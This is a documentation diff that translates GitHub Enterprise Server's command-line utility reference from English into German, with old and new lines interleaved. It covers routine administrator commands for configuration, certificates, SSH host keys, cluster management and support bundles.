{% ifversion ghe-announce-dismiss %} Verwende das `-d`-Flag, um es jedem bzw. jeder Benutzer*in zu ermöglichen, die Ankündigung selbst zu schließen.
```shell
# Sets a user-dismissible message that's visible to everyone
$ ghe-announce -d -s MESSAGE
@ -44,8 +49,7 @@ $ ghe-announce -u
```
{% endif %}
{% ifversion ghes %}
You can also set an announcement banner using the enterprise settings on {% data variables.product.product_name %}. For more information, see "[Customizing user messages on your instance](/enterprise/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)."
{% ifversion ghes %} Mithilfe der Unternehmenseinstellungen für {% data variables.product.product_name %} kannst du auch ein Ankündigungsbanner festlegen. Weitere Informationen findest du unter „[Anpassen von Benutzernachrichten für deine Instanz](/enterprise/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)“.
{% endif %}
{% ifversion ghes %}
@ -53,18 +57,18 @@ You can also set an announcement banner using the enterprise settings on {% data
### ghe-aqueduct
This utility displays information on background jobs, both active and in the queue. It provides the same job count numbers as the admin stats bar at the top of every page.
Dieses Dienstprogramm zeigt Informationen zu aktiven und zu in der Warteschlange befindlichen Hintergrundaufträgen an. Es zeigt dieselben Auftragszählnummern wie die Leiste mit den Administratorstatistiken im oberen Bereich jeder Seite an.
This utility can help identify whether the Aqueduct server is having problems processing background jobs. Any of the following scenarios might be indicative of a problem with Aqueduct:
Mit diesem Dienstprogramm kann ermittelt werden, ob der Aqueduct-Server beim Verarbeiten von Hintergrundaufträgen Probleme hat. Eines der folgenden Szenarien kann auf ein Problem mit Aqueduct hinweisen:
* The number of background jobs is increasing, while the active jobs remain the same.
* The event feeds are not updating.
* Webhooks are not being triggered.
* The web interface is not updating after a Git push.
* Die Anzahl der Hintergrundaufträge wird erhöht, während die aktiven Aufträge identisch bleiben.
* Die Ereignis-Feeds werden nicht aktualisiert.
* Webhooks werden nicht ausgelöst.
* Die Weboberfläche wird nach einem Git-Push nicht aktualisiert.
If you suspect Aqueduct is failing, contact {% data variables.contact.contact_ent_support %} for help.
Wenn du vermutest, dass Aqueduct fehlschlägt, wende dich zur Unterstützung an {% data variables.contact.contact_ent_support %}.
With this command, you can also pause or resume jobs in the queue.
Mit diesem Befehl kannst du Aufträge in der Warteschlange zudem anhalten oder fortsetzen.
```shell
$ ghe-aqueduct status
@ -80,7 +84,7 @@ $ ghe-aqueduct resume --queue QUEUE
### ghe-check-disk-usage
This utility checks the disk for large files or files that have been deleted but still have open file handles. This should be run when you're trying to free up space on the root partition.
Dieses Dienstprogramm überprüft den Datenträger auf große Dateien oder auf gelöschte Dateien mit weiterhin vorhandenen offenen Datei-Handles. Du solltest dieses ausführen, wenn du versuchst, auf der Root-Partition Speicherplatz freizugeben.
```shell
ghe-check-disk-usage
@ -88,18 +92,18 @@ ghe-check-disk-usage
### ghe-cleanup-caches
This utility cleans up a variety of caches that might potentially take up extra disk space on the root volume. If you find your root volume disk space usage increasing notably over time it would be a good idea to run this utility to see if it helps reduce overall usage.
Dieses Dienstprogramm bereinigt eine Vielzahl von Caches auf dem Root-Volume, die potenziell zusätzlichen Speicherplatz beanspruchen. Wenn du feststellst, dass sich deine Root-Volume-Speicherplatzauslastung mit der Zeit merklich erhöht, empfiehlt es sich, dieses Dienstprogramm auszuführen, um nachzuvollziehen, ob es die Gesamtnutzung reduzieren kann.
```shell
ghe-cleanup-caches
```
### ghe-cleanup-settings
This utility wipes all existing {% data variables.enterprise.management_console %} settings.
Dieses Dienstprogramm löscht alle vorhandenen {% data variables.enterprise.management_console %}-Einstellungen.
{% tip %}
**Tip**: {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %}
**Tipp**: {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %}
{% endtip %}
@ -109,7 +113,7 @@ ghe-cleanup-settings
### ghe-config
With this utility, you can both retrieve and modify the configuration settings of {% data variables.location.product_location %}.
Mit diesem Hilfsprogramm kannst du die Konfigurationseinstellungen von {% data variables.location.product_location %} abrufen und ändern.
```shell
$ ghe-config core.github-hostname
@ -119,14 +123,13 @@ $ ghe-config core.github-hostname URL
$ ghe-config -l
# Lists all the configuration values
```
Allows you to find the universally unique identifier (UUID) of your node in `cluster.conf`.
Ermöglicht es dir, den universellen eindeutigen Bezeichner (UUID) deines Knotens in `cluster.conf` zu finden.
```shell
$ ghe-config HOSTNAME.uuid
```
{% ifversion ghes %}
Allows you to exempt a list of users from REST API rate limits. A hard limit of 120,000 requests will still apply to these users. For more information, see "[Resources in the REST API](/rest/overview/resources-in-the-rest-api#rate-limiting)."
{% ifversion ghes %} Ermöglicht es dir, eine Liste von Benutzern aus REST-API-Ratenbegrenzungen auszunehmen. Für diese Benutzer gilt weiterhin eine harte Grenze von 120.000 Anforderungen. Weitere Informationen findest du unter „[Ressourcen in der REST-API](/rest/overview/resources-in-the-rest-api#rate-limiting)“.
``` shell
$ ghe-config app.github.rate-limiting-exempt-users "HUBOT GITHUB-ACTIONS"
@ -136,9 +139,9 @@ $ ghe-config app.github.rate-limiting-exempt-users "HUBOT GITHUB-ACTIONS"
### ghe-config-apply
This utility applies {% data variables.enterprise.management_console %} settings, reloads system services, prepares a storage device, reloads application services, and runs any pending database migrations. It is equivalent to clicking **Save settings** in the {% data variables.enterprise.management_console %}'s web UI or to sending a POST request to [the `/setup/api/configure` endpoint](/enterprise/user/rest/reference/enterprise-admin#management-console).
Dieses Dienstprogramm wendet {% data variables.enterprise.management_console %}-Einstellungen an, lädt Systemdienste neu, bereitet ein Speichergerät vor, lädt Anwendungsdienste neu und führt ausstehende Datenbankmigrationen aus. Es entspricht dem Klicken auf **Einstellungen speichern** in der Web-Benutzeroberfläche von {% data variables.enterprise.management_console %} oder dem Senden einer POST-Anforderung an [den `/setup/api/configure`-Endpunkt](/enterprise/user/rest/reference/enterprise-admin#management-console).
You will probably never need to run this manually, but it's available if you want to automate the process of saving your settings via SSH.
Du musst dies wahrscheinlich niemals manuell ausführen. Es ist jedoch verfügbar, wenn du den Prozess zum Speichern deiner Einstellungen über die SSH automatisieren möchtest.
```shell
ghe-config-apply
@ -146,7 +149,7 @@ ghe-config-apply
### ghe-console
This utility opens the GitHub Rails console on your {% data variables.product.prodname_enterprise %} appliance. {% data reusables.command_line.use_with_support_only %}
Dieses Dienstprogramm öffnet die GitHub Rails-Konsole auf deiner {% data variables.product.prodname_enterprise %}-Appliance. {% data reusables.command_line.use_with_support_only %}
```shell
ghe-console
@ -154,16 +157,16 @@ ghe-console
### ghe-dbconsole
This utility opens a MySQL database session on your {% data variables.product.prodname_enterprise %} appliance. {% data reusables.command_line.use_with_support_only %}
Dieses Dienstprogramm öffnet eine MySQL-Datenbanksitzung auf deiner {% data variables.product.prodname_enterprise %}-Appliance. {% data reusables.command_line.use_with_support_only %}
```shell
ghe-dbconsole
```
### ghe-es-index-status
This utility returns a summary of Elasticsearch indexes in CSV format.
Dieses Dienstprogramm gibt eine Zusammenfassung der ElasticSearch-Indizes im CSV-Format zurück.
Print an index summary with a header row to `STDOUT`:
Drucken einer Indexzusammenfassung mit einer Header-Kopfzeile für `STDOUT`:
```shell
$ ghe-es-index-status -do
> warning: parser/current is loading parser/ruby23, which recognizes
@ -182,7 +185,7 @@ $ ghe-es-index-status -do
> wikis-4,true,true,true,true,100.0,2613dec44bd14e14577803ac1f9e4b7e07a7c234
```
Print an index summary and pipe results to `column` for readability:
Drucken einer Indexzusammenfassung und von Pipe-Ergebnissen zur besseren Lesbarkeit für `column`:
```shell
$ ghe-es-index-status -do | column -ts,
@ -204,7 +207,7 @@ $ ghe-es-index-status -do | column -ts,
### ghe-legacy-github-services-report
This utility lists repositories on your appliance that use {% data variables.product.prodname_dotcom %} Services, an integration method that will be discontinued on October 1, 2018. Users on your appliance may have set up {% data variables.product.prodname_dotcom %} Services to create notifications for pushes to certain repositories. For more information, see "[Announcing the deprecation of {% data variables.product.prodname_dotcom %} Services](https://developer.github.com/changes/2018-04-25-github-services-deprecation/)" on {% data variables.product.prodname_blog %} or "[Replacing {% data variables.product.prodname_dotcom %} Services](/developers/overview/replacing-github-services)." For more information about this command or for additional options, use the `-h` flag.
Dieses Dienstprogramm listet Repositorys auf deiner Appliance auf, die {% data variables.product.prodname_dotcom %} Services verwenden. Hierbei handelt es sich um eine Integrationsmethode, die am 1. Oktober 2018 eingestellt wird. Benutzer auf deiner Appliance haben {% data variables.product.prodname_dotcom %} Services möglicherweise so eingerichtet, dass für Push-Vorgänge an bestimmte Repositorys Benachrichtigungen erstellt werden. Weitere Informationen findest du unter „[Ankündigung der Einstellung von {% data variables.product.prodname_dotcom %}-Diensten](https://developer.github.com/changes/2018-04-25-github-services-deprecation/)“ im {% data variables.product.prodname_blog %} oder „[Ersetzen von {% data variables.product.prodname_dotcom %}-Diensten](/developers/overview/replacing-github-services)“. Verwende das Flag `-h`, um weitere Informationen zu diesem Befehl oder zusätzliche Informationen anzuzeigen.
```shell
ghe-legacy-github-services-report
@ -213,7 +216,7 @@ ghe-legacy-github-services-report
### ghe-logs-tail
This utility lets you tail log all relevant log files from your installation. You can pass options in to limit the logs to specific sets. Use the -h flag for additional options.
Mit diesem Dienstprogramm kannst du das Ende aller relevanten Protokolldateien aus deiner Installation ausgeben. Du kannst Optionen übergeben, um die Protokolle auf bestimmte Sätze zu begrenzen. Verwende das Flag „-h“, um zusätzliche Optionen anzuzeigen.
```shell
ghe-logs-tail
@ -221,7 +224,7 @@ ghe-logs-tail
### ghe-maintenance
This utility allows you to control the state of the installation's maintenance mode. It's designed to be used primarily by the {% data variables.enterprise.management_console %} behind-the-scenes, but it can be used directly. For more information, see "[Enabling and scheduling maintenance mode](/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
Mit diesem Dienstprogramm kannst du den Wartungsmoduszustand der Installation steuern. Es soll primär von der {% data variables.enterprise.management_console %} im Hintergrund verwendet werden, kann jedoch auch direkt verwendet werden. Weitere Informationen findest du unter „[Aktivieren und Planen des Wartungsmodus](/admin/guides/installation/enabling-and-scheduling-maintenance-mode).
```shell
ghe-maintenance -h
@ -229,7 +232,7 @@ ghe-maintenance -h
### ghe-motd
This utility re-displays the message of the day (MOTD) that administrators see when accessing the instance via the administrative shell. The output contains an overview of the instance's state.
Dieses Dienstprogramm zeigt die Meldung des Tages (MOTD) an, die Administratoren sehen, wenn sie über die administrative Shell auf die Instanz zugreifen. Die Ausgabe enthält einen Überblick über den Status der Instanz.
```shell
ghe-motd
@ -237,7 +240,7 @@ ghe-motd
### ghe-nwo
This utility returns a repository's name and owner based on the repository ID.
Dieses Dienstprogramm gibt den Namen und den Inhaber eines Repositorys basierend auf der Repository-ID zurück.
```shell
ghe-nwo REPOSITORY_ID
@ -245,36 +248,36 @@ ghe-nwo REPOSITORY_ID
### ghe-org-admin-promote
Use this command to give organization owner privileges to users with site admin privileges on the appliance, or to give organization owner privileges to any single user in a single organization. You must specify a user and/or an organization. The `ghe-org-admin-promote` command will always ask for confirmation before running unless you use the `-y` flag to bypass the confirmation.
Führe diesen Befehl aus, um Benutzern mit Websiteadministratorberechtigungen Organisationsinhaberberechtigungen auf der Appliance zu erteilen oder um beliebigen einzelnen Benutzern in einer einzelnen Organisation Organisationsinhaberberechtigungen zu erteilen. Du musst einen Benutzer bzw. eine Organisation angeben. Der Befehl `ghe-org-admin-promote` fragt immer nach Bestätigung, bevor er ausgeführt wird, es sei denn, du verwendest das Flag `-y`, um die Bestätigung zu umgehen.
You can use these options with the utility:
Die folgenden Optionen kannst du mit dem Dienstprogramm verwenden:
- The `-u` flag specifies a username. Use this flag to give organization owner privileges to a specific user. Omit the `-u` flag to promote all site admins to the specified organization.
- The `-o` flag specifies an organization. Use this flag to give owner privileges in a specific organization. Omit the `-o` flag to give owner permissions in all organizations to the specified site admin.
- The `-a` flag gives owner privileges in all organizations to all site admins.
- The `-y` flag bypasses the manual confirmation.
- Das Flag `-u` gibt einen Benutzernamen an. Verwende dieses Flag, um einem bestimmten Benutzer Organisationsinhaberberechtigungen zu erteilen. Lass das Flag `-u` weg, um alle Websiteadministratoren für die angegebene Organisation hochzustufen.
- Das Flag `-o` gibt eine Organisation an. Verwende dieses Flag, um in einer bestimmten Organisation Inhaberberechtigungen zu erteilen. Lass das Flag `-o` weg, um dem angegebenen Websiteadministrator in allen Organisationen Inhaberberechtigungen zu erteilen.
- Das Flag `-a` erteilt allen Websiteadministratoren in allen Organisationen Inhaberberechtigungen.
- Das Flag `-y` umgeht die manuelle Bestätigung.
This utility cannot promote a non-site admin to be an owner of all organizations. You can promote an ordinary user account to a site admin with [ghe-user-promote](#ghe-user-promote).
Mit diesem Dienstprogramm ist es nicht möglich, einen Nicht-Websiteadministrator auf einen Inhaber sämtlicher Organisationen hochzustufen. Mit [ghe-user-promote](#ghe-user-promote) kannst du ein gewöhnliches Benutzerkonto auf einen Websiteadministrator hochstufen.
Give organization owner privileges in a specific organization to a specific site admin
Allen Websiteadministratoren in einer bestimmten Organisation Organisationsinhaberberechtigungen erteilen
```shell
ghe-org-admin-promote -u USERNAME -o ORGANIZATION
```
Give organization owner privileges in all organizations to a specific site admin
Einem bestimmten Websiteadministrator in allen Organisationen Organisationsinhaberberechtigungen erteilen
```shell
ghe-org-admin-promote -u USERNAME
```
Give organization owner privileges in a specific organization to all site admins
Allen Websiteadministratoren in einer bestimmten Organisation Organisationsinhaberberechtigungen erteilen
```shell
ghe-org-admin-promote -o ORGANIZATION
```
Give organization owner privileges in all organizations to all site admins
Allen Websiteadministratoren in allen Organisationen Organisationsinhaberberechtigungen erteilen
```shell
ghe-org-admin-promote -a
@ -282,7 +285,7 @@ ghe-org-admin-promote -a
### ghe-reactivate-admin-login
Use this command to immediately unlock the {% data variables.enterprise.management_console %} after {% ifversion enterprise-authentication-rate-limits %}an account lockout. To configure authentication policies for {% data variables.location.product_location %}, see "[Configuring authentication policy rate limits](/admin/configuration/configuring-your-enterprise/configuring-rate-limits#configuring-authentication-policy-rate-limits)".{% else %}10 failed login attempts in the span of 10 minutes.{% endif %}
Verwende diesen Befehl, um die {% data variables.enterprise.management_console %} sofort zu entsperren nach {% ifversion enterprise-authentication-rate-limits %}einer Kontosperrung. Informationen zum Konfigurieren von Authentifizierungsrichtlinien für {% data variables.location.product_location %} findest du unter [Konfigurieren von Ratenbegrenzungen für Authentifizierungsrichtlinien](/admin/configuration/configuring-your-enterprise/configuring-rate-limits#configuring-authentication-policy-rate-limits).{% else %}10 fehlerhaften Anmeldeversuchen innerhalb von 10 Minuten.{% endif %}
```shell
$ ghe-reactivate-admin-login
@ -291,26 +294,26 @@ $ ghe-reactivate-admin-login
### ghe-saml-mapping-csv
This utility can help map SAML records.
Dieses Dienstprogramm kann dabei helfen, SAML-Datensätze zuzuordnen.
To create a CSV file containing all the SAML mapping for your {% data variables.product.product_name %} users:
Um eine CSV-Datei mit allen SAML-Zuordnungen für deine {% data variables.product.product_name %}-Benutzer*innen zu erstellen:
```shell
$ ghe-saml-mapping-csv -d
```
To perform a dry run of updating SAML mappings with new values:
Um einen Trockenlauf der Aktualisierung von SAML-Zuordnungen mit neuen Werten durchzuführen:
```shell
$ ghe-saml-mapping-csv -u -n -f /path/to/file
```
To update SAML mappings with new values:
Um SAML-Zuordnungen mit neuen Werten zu aktualisieren:
```shell
$ ghe-saml-mapping-csv -u -f /path/to/file
```
### ghe-service-list
This utility lists all of the services that have been started or stopped (are running or waiting) on your appliance.
Mit diesem Dienstprogramm werden alle Dienste aufgelistet, die auf deiner Appliance gestartet oder angehalten (oder ausgeführt werden oder warten) wurden.
```shell
$ ghe-service-list
@ -391,7 +394,7 @@ stop/waiting
### ghe-set-password
With `ghe-set-password`, you can set a new password to authenticate into the [{% data variables.enterprise.management_console %}](/enterprise/admin/guides/installation/accessing-the-management-console).
Mit `ghe-set-password` kannst du ein neues Kennwort festlegen, um sich bei der [{% data variables.enterprise.management_console %}](/enterprise/admin/guides/installation/accessing-the-management-console) zu authentifizieren.
```shell
ghe-set-password <new_password>
@ -399,31 +402,31 @@ ghe-set-password <new_password>
### ghe-setup-network
This utility allows you to configure the primary network interface.
Mit diesem Dienstprogramm kannst du die primäre Netzwerkschnittstelle konfigurieren.
To enter visual mode, which will guide you through configuration of network settings:
Um den visuellen Modus einzugeben, der dich durch die Konfiguration von Netzwerkeinstellungen führt:
```shell
$ ghe-setup-network -v
```
Use the -h flag for additional options.
Verwende das Flag „-h“, um zusätzliche Optionen anzuzeigen.
### ghe-ssh-check-host-keys
This utility checks the existing SSH host keys against the list of known leaked SSH host keys.
Dieses Dienstprogramm gleicht die vorhandenen SSH-Hostschlüssel mit der Liste der bekannten kompromittierten SSH-Hostschlüssel ab.
```shell
$ ghe-ssh-check-host-keys
```
If a leaked host key is found the utility exits with status `1` and a message:
Wenn ein kompromittierter Hostschlüssel gefunden wird, hat das Dienstprogramm den Status `1` und die folgende Meldung wird angezeigt:
```shell
> One or more of your SSH host keys were found in the blacklist.
> Please reset your host keys using ghe-ssh-roll-host-keys.
```
If a leaked host key was not found, the utility exits with status `0` and a message:
Wenn kein kompromittierter Hostschlüssel gefunden wird, hat das Dienstprogramm den Status `0` und die folgende Meldung wird angezeigt:
```shell
> The SSH host keys were not found in the SSH host key blacklist.
> No additional steps are needed/recommended at this time.
@ -431,7 +434,7 @@ If a leaked host key was not found, the utility exits with status `0` and a mess
### ghe-ssh-roll-host-keys
This utility rolls the SSH host keys and replaces them with newly generated keys.
Dieses Dienstprogramm rotiert die SSH-Hostschlüssel und ersetzt sie durch neu generierte Schlüssel.
```shell
$ sudo ghe-ssh-roll-host-keys
@ -445,7 +448,7 @@ existing keys in /etc/ssh/ssh_host_* and generate new ones. [y/N]
### ghe-ssh-weak-fingerprints
This utility returns a report of known weak SSH keys stored on the {% data variables.product.prodname_enterprise %} appliance. You can optionally revoke user keys as a bulk action. The utility will report weak system keys, which you must manually revoke in the [{% data variables.enterprise.management_console %}](/enterprise/admin/guides/installation/accessing-the-management-console).
Dieses Dienstprogramm gibt einen Bericht der bekannten unsicheren SSH-Schlüssel zurück, die auf der {% data variables.product.prodname_enterprise %}-Appliance gespeichert sind. Optional kannst du Benutzerschlüssel in einer Massenaktion widerrufen. Das Dienstprogramm meldet schwache Systemschlüssel, die du manuell in der [{% data variables.enterprise.management_console %}](/enterprise/admin/guides/installation/accessing-the-management-console) sperren musst.
```shell
# Print a report of weak user and system SSH keys
@ -457,9 +460,9 @@ $ ghe-ssh-weak-fingerprints --revoke
### ghe-ssl-acme
This utility allows you to install a Let's Encrypt certificate on your {% data variables.product.prodname_enterprise %} appliance. For more information, see "[Configuring TLS](/enterprise/admin/guides/installation/configuring-tls)."
Mit diesem Dienstprogramm kannst du ein Let's Encrypt-Zertifikat auf deiner {% data variables.product.prodname_enterprise %}-Appliance installieren. Weitere Informationen findest du unter [Konfigurieren von TLS](/enterprise/admin/guides/installation/configuring-tls).
You can use the `-x` flag to remove the ACME configuration.
Du kannst das Flag `-x` verwenden, um die ACME-Konfiguration zu entfernen.
```shell
ghe-ssl-acme -e
@ -467,11 +470,11 @@ ghe-ssl-acme -e
### ghe-ssl-ca-certificate-install
This utility allows you to install a custom root CA certificate on your {% data variables.product.prodname_enterprise %} server. The certificate must be in PEM format. Furthermore, if your certificate provider includes multiple CA certificates in a single file, you must separate them into individual files that you then pass to `ghe-ssl-ca-certificate-install` one at a time.
Mit diesem Dienstprogramm kannst du ein benutzerdefiniertes CA-Root-Zertifikat auf deinem {% data variables.product.prodname_enterprise %} Server erstellen. Das Zertifikat muss im PEM-Format vorliegen. Wenn dein Zertifikatsanbieter mehrere CA-Zertifikate in einer einzigen Datei bereitstellt, musst du diese in einzelne Dateien aufteilen, die du dann einzeln an `ghe-ssl-ca-certificate-install` übergibst.
Run this utility to add a certificate chain for S/MIME commit signature verification. For more information, see "[About commit signature verification](/enterprise/user/articles/about-commit-signature-verification/)."
Führe dieses Dienstprogramm aus, um eine Zertifikatskette für die S/MIME-Commit-Signaturverifizierung hinzuzufügen. Weitere Informationen findest du unter [Informationen zur Commitsignaturverifizierung](/enterprise/user/articles/about-commit-signature-verification/).
Run this utility when {% data variables.location.product_location %} is unable to connect to another server because the latter is using a self-signed SSL certificate or an SSL certificate for which it doesn't provide the necessary CA bundle. One way to confirm this is to run `openssl s_client -connect host:port -verify 0 -CApath /etc/ssl/certs` from {% data variables.location.product_location %}. If the remote server's SSL certificate can be verified, your `SSL-Session` should have a return code of 0, as shown below.
Führe dieses Dienstprogramm aus, wenn {% data variables.location.product_location %} keine Verbindung mit einem anderen Server herstellen kann, da Letzterer ein selbstsigniertes SSL-Zertifikat oder ein SSL-Zertifikat verwendet, wofür das erforderliche CA-Bundle nicht bereitgestellt wird. Eine Möglichkeit, dies zu überprüfen, ist die Ausführung von `openssl s_client -connect host:port -verify 0 -CApath /etc/ssl/certs` von {% data variables.location.product_location %} aus. Wenn das SSL-Zertifikat des Remote-Servers verifiziert werden kann, sollte deine `SSL-Session` den Rückgabecode 0 aufweisen (siehe unten).
```
SSL-Session:
@ -486,7 +489,7 @@ SSL-Session:
Verify return code: 0 (ok)
```
If, on the other hand, the remote server's SSL certificate can *not* be verified, your `SSL-Session` should have a nonzero return code:
Wenn das SSL-Zertifikat des Remote-Servers dagegen *nicht* verifiziert werden kann, sollte deine `SSL-Session` einen Rückgabecode ungleich null zurückgeben:
```
SSL-Session:
@ -501,9 +504,9 @@ SSL-Session:
Verify return code: 27 (certificate not trusted)
```
You can use these additional options with the utility:
- The `-r` flag allows you to uninstall a CA certificate.
- The `-h` flag displays more usage information.
Du kannst die folgenden zusätzlichen Optionen mit dem Dienstprogramm verwenden:
- Mit dem Flag `-r` kannst du ein CA-Zertifikat deinstallieren.
- Mit dem Flag `-h` werden weitere Nutzungsinformationen angezeigt.
```shell
ghe-ssl-ca-certificate-install -c CERTIFICATE_PATH
@ -511,9 +514,9 @@ ghe-ssl-ca-certificate-install -c CERTIFICATE_PATH
### ghe-ssl-certificate-setup
This utility allows you to update an SSL certificate for {% data variables.location.product_location %}.
Mit diesem Hilfsprogramm kannst du ein SSL-Zertifikat für {% data variables.location.product_location %} aktualisieren.
For more information about this command or for additional options, use the `-h` flag.
Verwende das Flag `-h`, um weitere Informationen zu diesem Befehl oder zusätzliche Informationen anzuzeigen.
```shell
ghe-ssl-certificate-setup
@ -521,9 +524,9 @@ ghe-ssl-certificate-setup
### ghe-ssl-generate-csr
This utility allows you to generate a private key and certificate signing request (CSR), which you can share with a commercial or private certificate authority to get a valid certificate to use with your instance. For more information, see "[Configuring TLS](/enterprise/admin/guides/installation/configuring-tls)."
Mit diesem Dienstprogramm kannst du einen privaten Schlüssel und eine Zertifikatsignierungsanforderung (Certificate Signing Request, CSR) generieren, die du für eine kommerzielle oder private Zertifizierungsstelle freigeben kannst, um ein gültiges Zertifikat abzurufen, das du für deine Instanz verwenden kannst. Weitere Informationen findest du unter [Konfigurieren von TLS](/enterprise/admin/guides/installation/configuring-tls).
For more information about this command or for additional options, use the `-h` flag.
Verwende das Flag `-h`, um weitere Informationen zu diesem Befehl oder zusätzliche Informationen anzuzeigen.
```shell
ghe-ssl-generate-csr
@ -531,7 +534,7 @@ ghe-ssl-generate-csr
### ghe-storage-extend
Some platforms require this script to expand the user volume. For more information, see "[Increasing Storage Capacity](/enterprise/admin/guides/installation/increasing-storage-capacity/)".
Einige Plattformen erfordern dieses Skript, um das Benutzer-Volume zu erweitern. Weitere Informationen findest du unter „[Erhöhung der Speicherkapazität](/enterprise/admin/guides/installation/increasing-storage-capacity/)“.
```shell
$ ghe-storage-extend
@ -539,7 +542,7 @@ $ ghe-storage-extend
### ghe-version
This utility prints the version, platform, and build of {% data variables.location.product_location %}.
Dieses Hilfsprogramm gibt die Version, Plattform und den Build von {% data variables.location.product_location %} aus.
```shell
$ ghe-version
@ -547,27 +550,25 @@ $ ghe-version
### ghe-webhook-logs
This utility returns webhook delivery logs for administrators to review and identify any issues.
Dieses Dienstprogramm gibt Webhook-Auslieferungsprotokolle für Administratoren zurück, damit diese Issues überprüfen und ermitteln können.
```shell
ghe-webhook-logs
```
To show all failed hook deliveries in the past day:
{% ifversion ghes %}
Um alle fehlgeschlagenen Hook-Auslieferungen vom Vortag anzuzeigen: {% ifversion ghes %}
```shell
ghe-webhook-logs -f -a YYYY-MM-DD
```
The date format should be `YYYY-MM-DD`, `YYYY-MM-DD HH:MM:SS`, or `YYYY-MM-DD HH:MM:SS (+/-) HH:M`.
Das Datumsformat sollte `YYYY-MM-DD`, `YYYY-MM-DD HH:MM:SS` oder `YYYY-MM-DD HH:MM:SS (+/-) HH:M` sein.
{% else %}
```shell
ghe-webhook-logs -f -a YYYYMMDD
```
{% endif %}
To show the full hook payload, result, and any exceptions for the delivery:
{% ifversion ghes %}
Um die vollständige Hook-Payload, das Ergebnis und alle Ausnahmen für die Lieferung anzuzeigen: {% ifversion ghes %}
```shell
ghe-webhook-logs -g DELIVERY_GUID
```
@ -581,7 +582,7 @@ ghe-webhook-logs -g DELIVERY_GUID -v
### ghe-cluster-status
Check the health of your nodes and services in a cluster deployment of {% data variables.product.prodname_ghe_server %}.
Überprüfe die Integrität deiner Knoten und Dienste in einer Clusterbereitstellung von {% data variables.product.prodname_ghe_server %}.
```shell
$ ghe-cluster-status
@ -589,26 +590,26 @@ $ ghe-cluster-status
### ghe-cluster-support-bundle
This utility creates a support bundle tarball containing important logs from each of the nodes in either a Geo-replication or Clustering configuration.
Dieses Dienstprogramm erstellt eine Support-Bundle-Tarball-Datei, die wichtige Protokolle von jedem Knoten in einer Geo-Replikation oder Clustering-Konfiguration enthält.
By default, the command creates the tarball in */tmp*, but you can also have it `cat` the tarball to `STDOUT` for easy streaming over SSH. This is helpful in the case where the web UI is unresponsive or downloading a support bundle from */setup/support* doesn't work. You must use this command if you want to generate an *extended* bundle, containing older logs. You can also use this command to upload the cluster support bundle directly to {% data variables.product.prodname_enterprise %} support.
Standardmäßig erstellt der Befehl den Tarball in */tmp*, aber du kannst ihn auch nach `STDOUT` `cat` lassen, um das Streaming über SSH zu erleichtern. Dies ist nützlich, wenn die Web-Benutzeroberfläche nicht antwortet oder der Download eines Support-Bundles von */setup/support* nicht funktioniert. Du musst diesen Befehl ausführen, wenn du ein *erweitertes* Bundle generieren möchtest, das ältere Protokolle enthält. Du kannst diesen Befehl auch ausführen, um das Cluster-Support-Bundle direkt für den {% data variables.product.prodname_enterprise %}-Support hochzuladen.
To create a standard bundle:
Um ein Standardpaket zu erstellen:
```shell
$ ssh -p 122 admin@HOSTNAME -- 'ghe-cluster-support-bundle -o' > cluster-support-bundle.tgz
```
To create an extended bundle:
Um ein erweitertes Paket zu erstellen:
```shell
$ ssh -p 122 admin@HOSTNAME -- 'ghe-cluster-support-bundle -x -o' > cluster-support-bundle.tgz
```
To send a bundle to {% data variables.contact.github_support %}:
Um ein Paket an {% data variables.contact.github_support %} zu senden:
```shell
$ ssh -p 122 admin@HOSTNAME -- 'ghe-cluster-support-bundle -u'
```
To send a bundle to {% data variables.contact.github_support %} and associate the bundle with a ticket:
Um ein Paket an {% data variables.contact.github_support %} zu senden und das Paket mit einem Ticket zu verknüpfen:
```shell
$ ssh -p 122 admin@HOSTNAME -- 'ghe-cluster-support-bundle -t TICKET_ID'
```
@ -616,7 +617,7 @@ $ ssh -p 122 admin@HOSTNAME -- 'ghe-cluster-support-bundle -t TICKET_ID'
{% ifversion ghes %}
### ghe-cluster-failover
Fail over from active cluster nodes to passive cluster nodes. For more information, see "[Initiating a failover to your replica cluster](/enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster)."
Failover von aktiven Clusterknoten zu passiven Clusterknoten. Weitere Informationen findest du unter „[Initiieren eines Failovers für deine Replikat-Cluster](/enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster).
```shell
ghe-cluster-failover
@ -625,43 +626,43 @@ ghe-cluster-failover
### ghe-dpages
This utility allows you to manage the distributed {% data variables.product.prodname_pages %} server.
Mit diesem Dienstprogramm kannst du den verteilten {% data variables.product.prodname_pages %}-Server verwalten.
```shell
ghe-dpages
```
To show a summary of repository location and health:
Um eine Zusammenfassung des Repository-Standorts und -Zustands anzuzeigen:
```shell
ghe-dpages status
```
To evacuate a {% data variables.product.prodname_pages %} storage service before evacuating a cluster node:
Um einen {% data variables.product.prodname_pages %}-Speicherdienst zu evakuieren, bevor ein Cluster-Knoten evakuiert wird:
```shell
ghe-dpages evacuate pages-server-UUID
```
### ghe-spokes
This utility allows you to manage the three copies of each repository on the distributed git servers.
Mit diesem Dienstprogramm kannst du die drei Kopien jedes Repositorys auf den verteilten Git-Servern verwalten.
```shell
ghe-spokes
```
To show a summary of repository location and health:
Um eine Zusammenfassung des Repository-Standorts und -Zustands anzuzeigen:
```shell
ghe-spokes status
```
To show the servers in which the repository is stored:
Um die Server anzuzeigen, auf denen das Repository gespeichert ist:
```shell
ghe-spokes route
```
To evacuate storage services on a cluster node:
Um Speicherdienste auf einem Cluster-Knoten zu evakuieren:
```shell
ghe-spokes server evacuate git-server-UUID
@ -669,7 +670,7 @@ ghe-spokes server evacuate git-server-UUID
### ghe-storage
This utility allows you to evacuate all storage services before evacuating a cluster node.
Mit diesem Dienstprogramm kannst du alle Speicherdienste evakuieren, bevor du einen Clusterknoten evakuierst.
```shell
ghe-storage evacuate storage-server-UUID
@ -679,7 +680,7 @@ ghe-storage evacuate storage-server-UUID
### ghe-btop
A `top`-like interface for current Git operations.
Eine `top`-ähnliche Schnittstelle für aktuelle Git-Vorgänge.
```shell
ghe-btop [ <port number> | --help | --usage ]
@ -687,7 +688,7 @@ ghe-btop [ <port number> | --help | --usage ]
#### ghe-governor
